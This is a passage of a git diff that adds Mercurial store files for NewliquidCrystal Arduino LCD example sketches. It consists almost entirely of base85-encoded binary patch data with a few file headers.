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 k;%3a3=J9%KK9A$tmkLM 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 aM^%hgfDcI+1@f13ALh9N0ejU7w*Ldj$ceiE literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/examples/i2c_l_c_dextra_i_o__temp_leonardo/i2c_l_c_dextra_i_o__temp_leonardo.ino.i b/libraries/NewliquidCrystal/.hg/store/data/examples/i2c_l_c_dextra_i_o__temp_leonardo/i2c_l_c_dextra_i_o__temp_leonardo.ino.i new file mode 100644 index 0000000000000000000000000000000000000000..becdea7d74df0e8ff8844af3b7dc3c49f0426fbb GIT binary patch literal 3681 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 V(6P`7(-b*zJTsyLgjE@?{vUZD#l!#r literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/examples/performance_l_c_d/performance_l_c_d.ino.i b/libraries/NewliquidCrystal/.hg/store/data/examples/performance_l_c_d/performance_l_c_d.ino.i new file mode 100644 index 0000000000000000000000000000000000000000..2b7d28d6e6dfc7c856e327ba6a95236a36f7bd76 GIT binary patch literal 4366 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 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/examples/performance_l_c_d/performance_l_c_d.pde.i b/libraries/NewliquidCrystal/.hg/store/data/examples/performance_l_c_d/performance_l_c_d.pde.i new file mode 100644 index 0000000000000000000000000000000000000000..4bf50e07a32dd8f3015b78235b07071f2160c281 GIT binary patch literal 5389 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 